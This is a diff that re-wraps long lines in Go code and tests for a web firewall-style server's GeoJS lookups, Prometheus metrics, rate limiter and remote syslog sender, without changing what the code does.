if len(asked[requests]) != 23 {
t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests]))
t.Errorf(
"GeoJS was asked about %d clients, want 23",
len(asked[requests]),
)
}
})
}
@@ -531,8 +571,11 @@ func TestAtMost200AddressesInOneRequest(t *testing.T) {
asked := waitForRequests(t, geojs, 3)
if len(asked[1]) != 200 || len(asked[2]) != 1 {
t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1",
len(asked[1]), len(asked[2]))
t.Errorf(
"GeoJS was asked about %d and then %d clients, want 200 and 1",
len(asked[1]),
len(asked[2]),
)
}
})
}
@@ -687,7 +730,11 @@ func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) {
switch {
case addr == unplaced:
item = map[string]any{"ip": addr, "asn": 64512, "organization_name": "Unknown"}
item = map[string]any{
"ip": addr,
"asn": 64512,
"organization_name": "Unknown",
}
case addr == leftOut && answers == answeringWithoutLeftOut:
continue
case answers == answeringInLowerCase:
@@ -804,7 +851,12 @@ func newClients() func() netip.Prefix {
}
// wantCountry checks the country g gives client.
func wantCountry(t *testing.T, g *lookup.GeoJS, client netip.Prefix, want string) {
func wantCountry(
t *testing.T,
g *lookup.GeoJS,
client netip.Prefix,
want string,
) {
t.Helper()
got := g.LookUp(t.Context(), client).Country
@@ -843,7 +895,11 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) {
// wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
// gone without an answer from GeoJS.
func wantRequestsWithoutGeoJSAnswer(t *testing.T, m *metrics.Metrics, want float64) {
func wantRequestsWithoutGeoJSAnswer(
t *testing.T,
m *metrics.Metrics,
want float64,
) {
t.Helper()
got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
@@ -883,7 +939,11 @@ func waitForRequests(t *testing.T, geojs *standIn, count int) [][]string {
// It then checks that client's next request does not wait but has it asked
// about again in the background, after which g gives it the country want.
func waitForCountry(
t *testing.T, g *lookup.GeoJS, clock *testClock, client netip.Prefix, want string,
t *testing.T,
g *lookup.GeoJS,
clock *testClock,
client netip.Prefix,
want string,
) {
t.Helper()
+5 -1
View File
@@ -45,7 +45,11 @@ func Write(tb testing.TB, path string, networks map[string]Network) {
// WriteRecords writes a lookup database at path that holds each record in
// records for its netblock, and nothing for any other address.
func WriteRecords(tb testing.TB, path string, records map[string]mmdbtype.Map) {
func WriteRecords(
tb testing.TB,
path string,
records map[string]mmdbtype.Map,
) {
tb.Helper()
tree, err := mmdbwriter.New(mmdbwriter.Options{
+4 -1
View File
@@ -59,7 +59,10 @@ func TestLoadedAnswersAreKeptFor7DaysFromWhenGeoJSGaveThem(t *testing.T) {
g.Load([]lookup.Answer{kept, stale})
if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) {
t.Errorf("kept %+v, want only the answer GeoJS gave less than 7 days ago", got)
t.Errorf(
"kept %+v, want only the answer GeoJS gave less than 7 days ago",
got,
)
}
wantCountry(t, g, kept.Client, "FR")
+9 -3
View File
@@ -41,9 +41,11 @@ type busiest struct {
// for the topN busiest countries.
func newCountries(topN int) *busiest {
countries := newBusiest(topN, "country", "the client's country")
countries.refused = counterVec("sww_country_list_refusals_total",
countries.refused = counterVec(
"sww_country_list_refusals_total",
"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
[]string{"country"})
[]string{"country"},
)
return countries
}
@@ -90,7 +92,11 @@ func (b *busiest) Collect(ch chan<- prometheus.Metric) {
// vecs returns the metrics: by AS number, those of requests and bytes; by
// country, the refusals by the country list as well.
func (b *busiest) vecs() []*prometheus.CounterVec {
vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes}
vecs := []*prometheus.CounterVec{
b.requests,
b.requestBytes,
b.responseBytes,
}
if b.refused != nil {
vecs = append(vecs, b.refused)
}
+109 -47
View File
@@ -79,14 +79,19 @@ func New(topN int, instanceName string) *Metrics {
Name: "sww_requests_in_flight",
Help: "Requests under way.",
}),
requests: counterVec("sww_requests_total",
"Requests, by the class of their status and their action.", byStatus),
requests: counterVec(
"sww_requests_total",
"Requests, by the class of their status and their action.",
byStatus,
),
requestBytes: counterVec("sww_request_bytes_total",
"Request body bytes, by the class of the status and the action.",
byStatus),
responseBytes: counterVec("sww_response_bytes_total",
responseBytes: counterVec(
"sww_response_bytes_total",
"Response body bytes, by the class of the status and the action.",
byStatus),
byStatus,
),
requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
Name: "sww_request_duration_seconds",
Help: "How long requests took, from their arrival to their end.",
@@ -95,15 +100,20 @@ func New(topN int, instanceName string) *Metrics {
Name: "sww_upstream_duration_seconds",
Help: "How long requests passed to the app took, from then to their end.",
}),
rateLimitHits: counterVec("sww_rate_limit_hits_total",
rateLimitHits: counterVec(
"sww_rate_limit_hits_total",
"Requests that broke a rate limit, a byte limit or the error burst, by "+
"its window and its kind, requests, bytes or refusals.",
[]string{"window", "kind"}),
[]string{"window", "kind"},
),
offences: counterVec("sww_offences_total",
"Offences, by kind.", []string{"kind"}),
coreRuleSetMatches: counterVec("sww_core_rule_set_matches_total",
coreRuleSetMatches: counterVec(
"sww_core_rule_set_matches_total",
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+
"and the rule's id.", []string{"mode", "rule_id"}),
"and the rule's id.",
[]string{"mode", "rule_id"},
),
countries: newCountries(topN),
asns: newASNs(topN),
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
@@ -114,26 +124,41 @@ func New(topN int, instanceName string) *Metrics {
Name: "sww_geojs_failures_total",
Help: "Requests to GeoJS that failed.",
}),
RequestsWithoutGeoJSAnswer: prometheus.NewCounter(prometheus.CounterOpts{
Name: "sww_requests_without_geojs_answer_total",
Help: "Requests that needed their client's answer from GeoJS and " +
"went on without it, because GeoJS had not given it in time.",
}),
RequestsWithoutGeoJSAnswer: prometheus.NewCounter(
prometheus.CounterOpts{
Name: "sww_requests_without_geojs_answer_total",
Help: "Requests that needed their client's answer from GeoJS and " +
"went on without it, because GeoJS had not given it in time.",
},
),
stateFileWrites: counterVec("sww_state_file_writes_total",
"Writes of each state or cache file.", byFile),
stateFileWriteFailures: counterVec("sww_state_file_write_failures_total",
"Writes of each state or cache file that failed.", byFile),
stateFileLastWrite: gaugeVec("sww_state_file_last_write_timestamp_seconds",
stateFileWriteFailures: counterVec(
"sww_state_file_write_failures_total",
"Writes of each state or cache file that failed.",
byFile,
),
stateFileLastWrite: gaugeVec(
"sww_state_file_last_write_timestamp_seconds",
"When each state or cache file was last written, in seconds since 1970.",
byFile),
stateFileSize: gaugeVec("sww_state_file_size_bytes",
"The size of each state or cache file, as it was last written.", byFile),
stateFileEditsTakenIn: counterVec("sww_state_file_edits_taken_in_total",
"Edits of each state or cache file taken in while running.", byFile),
stateFileEditsSetAside: counterVec("sww_state_file_edits_set_aside_total",
byFile,
),
stateFileSize: gaugeVec(
"sww_state_file_size_bytes",
"The size of each state or cache file, as it was last written.",
byFile,
),
stateFileEditsTakenIn: counterVec(
"sww_state_file_edits_taken_in_total",
"Edits of each state or cache file taken in while running.",
byFile,
),
stateFileEditsSetAside: counterVec(
"sww_state_file_edits_set_aside_total",
"Edits of each state or cache file renamed to <name>.bad because they "+
"did not parse.",
byFile),
byFile,
),
}
m.registry.MustRegister(
@@ -162,13 +187,15 @@ func (m *Metrics) AddBansAndClients(
for _, cause := range []string{
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
} {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_bans_made_total",
Help: "Bans made, by cause.",
ConstLabels: prometheus.Labels{"cause": cause},
}, func() float64 {
return float64(ledger.Made(cause))
}))
m.registry.MustRegister(
prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_bans_made_total",
Help: "Bans made, by cause.",
ConstLabels: prometheus.Labels{"cause": cause},
}, func() float64 {
return float64(ledger.Made(cause))
}),
)
}
m.registry.MustRegister(
@@ -202,9 +229,11 @@ func (m *Metrics) AddBansAndClients(
// ruleFiles, read as the metrics are asked for. It is called once, before
// RuleMatched.
func (m *Metrics) AddRules(ruleFiles *rules.Files) {
m.ruleMatches = counterVec("sww_rule_matches_total",
m.ruleMatches = counterVec(
"sww_rule_matches_total",
"Requests that matched a rule of the rule files, by its id and action.",
[]string{"rule_id", "action"})
[]string{"rule_id", "action"},
)
m.registry.MustRegister(m.ruleMatches,
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
@@ -247,7 +276,10 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
// returns, and the replacements of it that could not be read, which
// readFailures returns. The lookup package's File, which has both, cannot
// be named here: that package counts GeoJS's requests in these metrics.
func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() int) {
func (m *Metrics) AddLookupFile(
lastRead func() time.Time,
readFailures func() int,
) {
m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "sww_lookup_database_last_read_timestamp_seconds",
@@ -276,24 +308,38 @@ const sourceLabel = "source"
// metrics are asked for, for a list, the fetches that failed and when the
// copy in use was fetched, and for a zone, the queries made and those that
// failed. It is called once, before ReputationHit.
func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
m.reputationHits = counterVec("sww_reputation_hits_total",
func (m *Metrics) AddReputation(
lists *reputation.Lists,
dnsbl *reputation.DNSBL,
) {
m.reputationHits = counterVec(
"sww_reputation_hits_total",
"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
[]string{sourceLabel})
[]string{sourceLabel},
)
m.registry.MustRegister(m.reputationHits)
for _, zone := range dnsbl.Zones() {
source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)}
m.addReputationQueries(source, func() int { return dnsbl.Queries(zone) })
m.addReputationFailures(source, func() int { return dnsbl.Failures(zone) })
m.addReputationQueries(
source,
func() int { return dnsbl.Queries(zone) },
)
m.addReputationFailures(
source,
func() int { return dnsbl.Failures(zone) },
)
}
for _, listURL := range lists.URLs() {
source := prometheus.Labels{sourceLabel: listURL}
m.addReputationFailures(source, func() int { return lists.Failures(listURL) })
m.addReputationFailures(
source,
func() int { return lists.Failures(listURL) },
)
m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "sww_reputation_last_fetch_timestamp_seconds",
@@ -395,7 +441,10 @@ func (m *Metrics) RequestStarted() {
// RequestEnded counts a request that has ended without being passed to the app,
// from its log line. duration is how long the request took.
func (m *Metrics) RequestEnded(line *requestlog.Line, duration time.Duration) {
func (m *Metrics) RequestEnded(
line *requestlog.Line,
duration time.Duration,
) {
m.inFlight.Dec()
m.count(line, duration, 0)
}
@@ -487,8 +536,10 @@ func (m *Metrics) count(
) {
class := statusClass(line.Status)
m.requests.WithLabelValues(class, line.Action).Inc()
m.requestBytes.WithLabelValues(class, line.Action).Add(float64(line.RequestBytes))
m.responseBytes.WithLabelValues(class, line.Action).Add(float64(line.ResponseBytes))
m.requestBytes.WithLabelValues(class, line.Action).
Add(float64(line.RequestBytes))
m.responseBytes.WithLabelValues(class, line.Action).
Add(float64(line.ResponseBytes))
m.requestDuration.Observe(duration.Seconds())
if upstreamDuration > 0 {
@@ -506,7 +557,10 @@ func (m *Metrics) count(
// addReputationQueries adds the counter of the queries to source, a DNSBL
// zone, or of the checks of clients with AbuseIPDB, which count tells.
func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) {
func (m *Metrics) addReputationQueries(
source prometheus.Labels,
count func() int,
) {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_reputation_queries_total",
Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
@@ -519,7 +573,10 @@ func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() in
// addReputationFailures adds the counter of the fetches of source, a
// list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB,
// that failed, which count tells.
func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) {
func (m *Metrics) addReputationFailures(
source prometheus.Labels,
count func() int,
) {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_reputation_failures_total",
Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
@@ -546,12 +603,17 @@ func statusClass(status int) string {
// counterVec returns a counter named name, described by help, with a
// series for each set of values of labels.
func counterVec(name, help string, labels []string) *prometheus.CounterVec {
return prometheus.NewCounterVec(prometheus.CounterOpts{Name: name, Help: help},
labels)
return prometheus.NewCounterVec(
prometheus.CounterOpts{Name: name, Help: help},
labels,
)
}
// gaugeVec returns a gauge named name, described by help, with a series
// for each set of values of labels.
func gaugeVec(name, help string, labels []string) *prometheus.GaugeVec {
return prometheus.NewGaugeVec(prometheus.GaugeOpts{Name: name, Help: help}, labels)
return prometheus.NewGaugeVec(
prometheus.GaugeOpts{Name: name, Help: help},
labels,
)
}
+17 -3
View File
@@ -27,7 +27,11 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
// refused.
{Status: 404},
} {
limiter.AddToHistory(client, start.Add(time.Duration(i)*time.Minute), r)
limiter.AddToHistory(
client,
start.Add(time.Duration(i)*time.Minute),
r,
)
}
want := ratelimit.History{
@@ -63,7 +67,13 @@ func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
// A later answer replaces it, and one for a client the table does not
// hold adds no client.
limiter.AddLookup(client, start.Add(time.Hour), "AS64497", "Other Net", "FR")
limiter.AddLookup(
client,
start.Add(time.Hour),
"AS64497",
"Other Net",
"FR",
)
limiter.AddLookup(other, start, "AS64496", "Example Net", "DE")
want := ratelimit.History{
@@ -96,7 +106,11 @@ func TestResetKeepsTheHistory(t *testing.T) {
for range limit {
wantCount(t, limiter, client, start, "")
limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
limiter.AddToHistory(
client,
start,
ratelimit.Request{Forwarded: true},
)
}
limiter.Reset(client)
+20 -4
View File
@@ -241,7 +241,8 @@ func (l *Limiter) OverARateLimit(client netip.Prefix, now time.Time) bool {
buckets := c.buckets()
for i, w := range l.windows {
if w.limit > 0 && buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
if w.limit > 0 &&
buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
return true
}
}
@@ -271,7 +272,12 @@ func (l *Limiter) CountRefusal(
defer l.mu.Unlock()
count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count}
hit := Hit{
Kind: KindRefusals,
Window: "minute",
Limit: threshold,
Count: count,
}
return hit, count > float64(threshold)
}
@@ -292,7 +298,11 @@ func (l *Limiter) Reset(client netip.Prefix) {
// AddToHistory adds r, a request from client at now, to the client's
// history.
func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
func (l *Limiter) AddToHistory(
client netip.Prefix,
now time.Time,
r Request,
) {
l.mu.Lock()
defer l.mu.Unlock()
@@ -470,7 +480,13 @@ func (l *Limiter) count(
for i, w := range l.windows {
requestCounts[i] = requestBuckets[i].Add(now, w.length, requests)
byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes)
limit, byteLimit := percentOf(w.limit, percent), percentOf(w.byteLimit, percent)
limit, byteLimit := percentOf(
w.limit,
percent,
), percentOf(
w.byteLimit,
percent,
)
switch {
case hit.Window != "":
+128 -34
View File
@@ -26,13 +26,17 @@ const (
hour = "hour"
)
func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.T) {
func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(
t *testing.T,
) {
t.Parallel()
client := netip.MustParsePrefix("203.0.113.9/32")
now := midnight()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
tableSize)
limiter := ratelimit.New(
ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
tableSize,
)
if limiter.OverARateLimit(client, now) {
t.Error("a client never seen is over a rate limit")
@@ -44,7 +48,9 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.
for range limit {
if limiter.OverARateLimit(client, now) {
t.Error("a client with room for another request is over a rate limit")
t.Error(
"a client with room for another request is over a rate limit",
)
}
wantCount(t, limiter, client, now, "")
@@ -56,7 +62,11 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.
held, _ := limiter.Client(client)
if held.Minute.Current != limit {
t.Errorf("the client's minute holds %d requests, want %d", held.Minute.Current, limit)
t.Errorf(
"the client's minute holds %d requests, want %d",
held.Minute.Current,
limit,
)
}
wantCount(t, limiter, client, now, minute)
@@ -99,7 +109,13 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
// A quarter into the next bucket, the window still covers three
// quarters of the bucket before, with its four requests: 3 + 1
// is over the limit.
wantCount(t, limiter, client, start.Add(tc.length+quarter), tc.window)
wantCount(
t,
limiter,
client,
start.Add(tc.length+quarter),
tc.window,
)
// Three quarters into it, a quarter: 1 + 2 is within.
wantCount(t, limiter, client, start.Add(tc.length+3*quarter), "")
@@ -110,7 +126,10 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}, tableSize)
limiter := ratelimit.New(
ratelimit.Limits{PerMinute: limit, PerHour: limit},
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
@@ -128,16 +147,22 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1,
}
if !over || hit != want {
t.Errorf("request over the limit gives %+v and %t, want %+v and true",
hit, over, want)
t.Errorf(
"request over the limit gives %+v and %t, want %+v and true",
hit,
over,
want,
)
}
}
func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
tableSize)
limiter := ratelimit.New(
ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
@@ -151,9 +176,19 @@ func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
_, hit, over := limiter.Count(client, start, 50)
want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: minute, Limit: 2, Count: 3}
want := ratelimit.Hit{
Kind: ratelimit.KindRequests,
Window: minute,
Limit: 2,
Count: 3,
}
if !over || hit != want {
t.Errorf("the third request gives %+v and %t, want %+v and true", hit, over, want)
t.Errorf(
"the third request gives %+v and %t, want %+v and true",
hit,
over,
want,
)
}
// Half of the largest byte limit is still far above a TiB: working it
@@ -168,8 +203,10 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
t.Parallel()
// Only the hour has limits: the minute's and the day's are off.
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
tableSize)
limiter := ratelimit.New(
ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
@@ -177,14 +214,24 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
// hour's limits, which are 0; the minute's, which are off, stay off.
_, hit, _ := limiter.Count(client, start, 0)
want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: hour, Limit: 0, Count: 1}
want := ratelimit.Hit{
Kind: ratelimit.KindRequests,
Window: hour,
Limit: 0,
Count: 1,
}
if hit != want {
t.Errorf("the first request gives %+v, want %+v", hit, want)
}
_, hit, _ = limiter.CountBytes(client, start, 1, 0)
want = ratelimit.Hit{Kind: ratelimit.KindBytes, Window: hour, Limit: 0, Count: 1}
want = ratelimit.Hit{
Kind: ratelimit.KindBytes,
Window: hour,
Limit: 0,
Count: 1,
}
if hit != want {
t.Errorf("the first byte gives %+v, want %+v", hit, want)
}
@@ -215,13 +262,23 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
t.Fatal("600 bytes are over the limit of 1000")
}
_, hit, over := limiter.CountBytes(client, midnight(), 600, whole)
_, hit, over := limiter.CountBytes(
client,
midnight(),
600,
whole,
)
want := ratelimit.Hit{
Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200,
}
if !over || hit != want {
t.Errorf("1200 bytes give %+v and %t, want %+v and true", hit, over, want)
t.Errorf(
"1200 bytes give %+v and %t, want %+v and true",
hit,
over,
want,
)
}
})
}
@@ -230,8 +287,10 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
tableSize)
limiter := ratelimit.New(
ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32")
other := netip.MustParsePrefix("203.0.113.10/32")
start := midnight()
@@ -301,7 +360,10 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
for range limit {
if _, over := limiter.CountRefusal(client, start, limit); over {
t.Fatalf("a refusal within the threshold of %d broke the error burst", limit)
t.Fatalf(
"a refusal within the threshold of %d broke the error burst",
limit,
)
}
}
@@ -311,13 +373,21 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
}
if !over || hit != want {
t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit,
want)
t.Errorf(
"one over the threshold broke it: %t, with %+v; want %+v",
over,
hit,
want,
)
}
// Half a minute into the next, half of those four still count, 2, and
// this one: 3, within the threshold.
hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
hit, over = limiter.CountRefusal(
client,
start.Add(time.Minute+time.Minute/2),
limit,
)
if over || hit.Count != 3 {
t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
hit.Count, over)
@@ -326,7 +396,11 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
// A ban sets them back to zero.
limiter.Reset(client)
hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
hit, _ = limiter.CountRefusal(
client,
start.Add(time.Minute+time.Minute/2),
limit,
)
if hit.Count != 1 {
t.Errorf("after a reset, %v refusals, want 1", hit.Count)
}
@@ -347,7 +421,11 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
// hour still covers three quarters of the bucket before, with its three
// requests, which count 2.25, and this one: 3.25. The day covers all
// four.
counts, _, _ := limiter.Count(client, start.Add(time.Hour+time.Hour/4), whole)
counts, _, _ := limiter.Count(
client,
start.Add(time.Hour+time.Hour/4),
whole,
)
want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4}
if counts != want {
@@ -358,7 +436,10 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
func TestResetSetsTheCountsBackToZero(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}, tableSize)
limiter := ratelimit.New(
ratelimit.Limits{PerMinute: limit, PerDay: limit},
tableSize,
)
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
@@ -399,8 +480,10 @@ func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
func TestRefusedRequestsCount(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
tableSize)
limiter := ratelimit.New(
ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
tableSize,
)
refused := netip.MustParsePrefix("203.0.113.9/32")
within := netip.MustParsePrefix("203.0.113.10/32")
start := midnight()
@@ -501,7 +584,11 @@ func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) {
wantCount(t, limiter, clients[maxClients], now, "")
if limiter.Len() != maxClients {
t.Errorf("the table holds %d clients, want %d", limiter.Len(), maxClients)
t.Errorf(
"the table holds %d clients, want %d",
limiter.Len(),
maxClients,
)
}
wantCount(t, limiter, clients[1], now, "")
@@ -516,7 +603,10 @@ func midnight() time.Time {
// wantCount counts a request from client at now, and checks the window
// whose limit it goes over, "" for none.
func wantCount(
t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
t *testing.T,
limiter *ratelimit.Limiter,
client netip.Prefix,
now time.Time,
want string,
) {
t.Helper()
@@ -531,8 +621,12 @@ func wantCount(
// wantBytesCount counts bytes from client at now, and checks the kind of
// the limit they break, "" for none.
func wantBytesCount(
t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
bytes int64, want string,
t *testing.T,
limiter *ratelimit.Limiter,
client netip.Prefix,
now time.Time,
bytes int64,
want string,
) {
t.Helper()
+27 -8
View File
@@ -12,7 +12,12 @@ import (
func TestSnapshotListsTheClientsByAddress(t *testing.T) {
t.Parallel()
want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"}
want := []string{
"192.0.2.1/32",
"203.0.113.9/32",
"203.0.113.10/32",
"2001:db8::/64",
}
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
for _, i := range []int{2, 3, 0, 1} {
@@ -32,8 +37,12 @@ func TestSnapshotListsTheClientsByAddress(t *testing.T) {
counted := ratelimit.Buckets{Start: midnight(), Current: 1}
if snapshot[0].Minute != counted || snapshot[0].Day != counted {
t.Errorf("buckets %+v and %+v, want %+v", snapshot[0].Minute, snapshot[0].Day,
counted)
t.Errorf(
"buckets %+v and %+v, want %+v",
snapshot[0].Minute,
snapshot[0].Day,
counted,
)
}
}
@@ -86,10 +95,15 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
t.Errorf("loaded two minutes on as %+v", got)
}
if got.MinuteBytes != (ratelimit.Buckets{}) || got.HourBytes.Current != 5 ||
if got.MinuteBytes != (ratelimit.Buckets{}) ||
got.HourBytes.Current != 5 ||
got.DayBytes.Current != 5 {
t.Errorf("loaded two minutes on with buckets of bytes %+v, %+v and %+v",
got.MinuteBytes, got.HourBytes, got.DayBytes)
t.Errorf(
"loaded two minutes on with buckets of bytes %+v, %+v and %+v",
got.MinuteBytes,
got.HourBytes,
got.DayBytes,
)
}
if got.MinuteRefusals != (ratelimit.Buckets{}) {
@@ -101,8 +115,13 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
got = loaded(start.Add(2*time.Minute - time.Nanosecond))
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
got.MinuteRefusals.Current != 1 {
t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+
"and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals)
t.Errorf(
"loaded just under two minutes on with minute buckets %+v, %+v "+
"and %+v",
got.Minute,
got.MinuteBytes,
got.MinuteRefusals,
)
}
}
+9 -2
View File
@@ -185,7 +185,11 @@ func (s *Sender) Run(ctx context.Context, processLog *slog.Logger) {
// and over TCP and TLS after its length in bytes and a space, the
// octet-counted framing of RFC 6587 and RFC 5425.
func (s *Sender) record(at string, line []byte) []byte {
record := make([]byte, 0, len(s.beforeTime)+len(at)+len(s.afterTime)+len(line))
record := make(
[]byte,
0,
len(s.beforeTime)+len(at)+len(s.afterTime)+len(line),
)
record = append(record, s.beforeTime...)
record = append(record, at...)
record = append(record, s.afterTime...)
@@ -219,7 +223,10 @@ func (s *Sender) put(record []byte) {
// send connects to the endpoint and sends each record as it comes into
// the buffer, until ctx is done, and returns the connection then open, or
// nil.
func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn {
func (s *Sender) send(
ctx context.Context,
processLog *slog.Logger,
) net.Conn {
delay := firstRetryDelay
for {
+102 -26
View File
@@ -57,16 +57,27 @@ func TestRecordsOverUDPGoOnePerDatagram(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
endpoint, err := (&net.ListenConfig{}).ListenPacket(
t.Context(),
"udp",
loopback,
)
if err != nil {
t.Fatalf("listen: %v", err)
}
t.Cleanup(func() { _ = endpoint.Close() })
sender, _, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
sender, _, _ := run(
t,
params(remotelog.SchemeUDP, endpoint.LocalAddr()),
)
_, _ = sender.Write([]byte(`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n"))
_, _ = sender.Write(
[]byte(
`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n",
),
)
synctest.Wait()
wantCounts(t, sender, 2, 0, 0)
@@ -108,7 +119,9 @@ func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) {
})
}
func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(t *testing.T) {
func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
@@ -174,7 +187,11 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
wantCounts(t, sender, 1, 0, 0)
conn := endpoint.next(t)
wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "one"))
wantFrame(
t,
